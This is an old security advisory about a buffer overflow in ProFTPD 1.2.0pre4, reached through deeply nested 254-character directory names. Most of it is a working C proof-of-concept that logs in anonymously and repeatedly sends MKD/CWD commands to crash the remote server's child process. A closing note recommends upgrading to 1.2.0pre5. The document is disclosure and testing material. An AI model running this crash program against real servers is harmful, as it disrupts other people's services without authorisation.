COMMAND
proftpd
SYSTEMS AFFECTED
ProFTP-1.2.0pre4
PROBLEM
Renaud Deraison found following. He found out yet another buffer
overflow in ProFTP 1.2.0pre4, which may or may not be exploitable.
Why it may not be easily exploited (or not at all)? - because the
segmentation fault is not done because of a changed return adress.
The overflow will in fact change a pointer and make it point on
somewhere else, and then FTPD will use strlen() on it. Anyway,
maybe other variables may be changed.
How does the overflow works? This is a variation of the infamous
and now-old wu-ftpd mkdir overflow (make a directory in another
directory, in another directory, and so on), but this time, the
name of the created directories must not exceed 255 chars. That's
all. Below is a dumb program that will just make the remote
proftpd crash. Have a look at /var/log/messages, and you'll see
something as fun as:
Sep 1 14:18:49 prof proftpd[5327]: ProFTPD terminating (signal 11)
(quick note: the program will not check for error code, so make
sure you have the right to create directories in the appropriate
directory, or you'll get false positives/negatives). This is
*not* a DoS attack, since only a ProFTPd child will die. This
problem was tested on a RedHat 6.0.
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
/*
* Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
*
*
* This bug was discovered by the Nessus Security Scanner
*
* I don't know if this flaw can be exploited to gain
* root privileges.
*
*
* The name of the created directory must not exceed 255 chars !
*
*
* Written by Renaud Deraison <deraison@cvs.nessus.org>
*
*/
/*
* Change this !
*/
#define TARGET "192.168.1.5"
#define WRITEABLE_DIR "/incoming"
int main()
{
struct in_addr target;
int soc;
struct sockaddr_in sa;
char * writeable_dir = "CWD "WRITEABLE_DIR"\r\n";
char * mkd;
char * cwd;
inet_aton(TARGET, &target);
mkd = malloc(300); bzero(mkd, 300);
cwd = malloc(300); bzero(cwd, 300);
soc = socket(PF_INET, SOCK_STREAM,0);
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(21);
sa.sin_addr.s_addr = target.s_addr;
if(!(connect(soc, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
{
char * buf = malloc(1024);
int i;
sprintf(mkd, "MKD ");
memset(mkd+4, 'X', 254);
sprintf(mkd, "%s\r\n", mkd);
sprintf(cwd, "CWD ");
memset(cwd+4, 'X', 254);
sprintf(cwd, "%s\r\n", cwd);
recv(soc, buf, 1024, 0);
send(soc, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
recv(soc, buf, 1024, 0);
bzero(buf,1024);
send(soc, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
recv(soc, buf, 1024, 0);
bzero(buf, 1024);
send(soc, writeable_dir, strlen(writeable_dir), 0);
recv(soc, buf, 1024, 0);
bzero(buf,1024);
for(i=0;i<40;i++)
{
send(soc, mkd, strlen(mkd), 0);
recv(soc, buf, 1024,0);
if(!strlen(buf))
{
printf("Remote FTPd crashed (see /var/log/messages)\n");
exit(0);
}
bzero(buf, 1024);
send(soc, cwd, strlen(cwd), 0);
recv(soc, buf, 1024,0);
if(!strlen(buf))
{
printf("Remote FTPd crashed (see /var/log/messages)\n");
exit(0);
}
bzero(buf, 1024);
}
printf("You were not vulnerable after all. Sorry\n");
close(soc);
}
else perror("connect ");
return(0);
}
SOLUTION
Use something else / another good reason to not have anonymous
writeable directories. ProFTPD 1.2.0pre5 should *CORRECTLY*
address the security issues pointed out.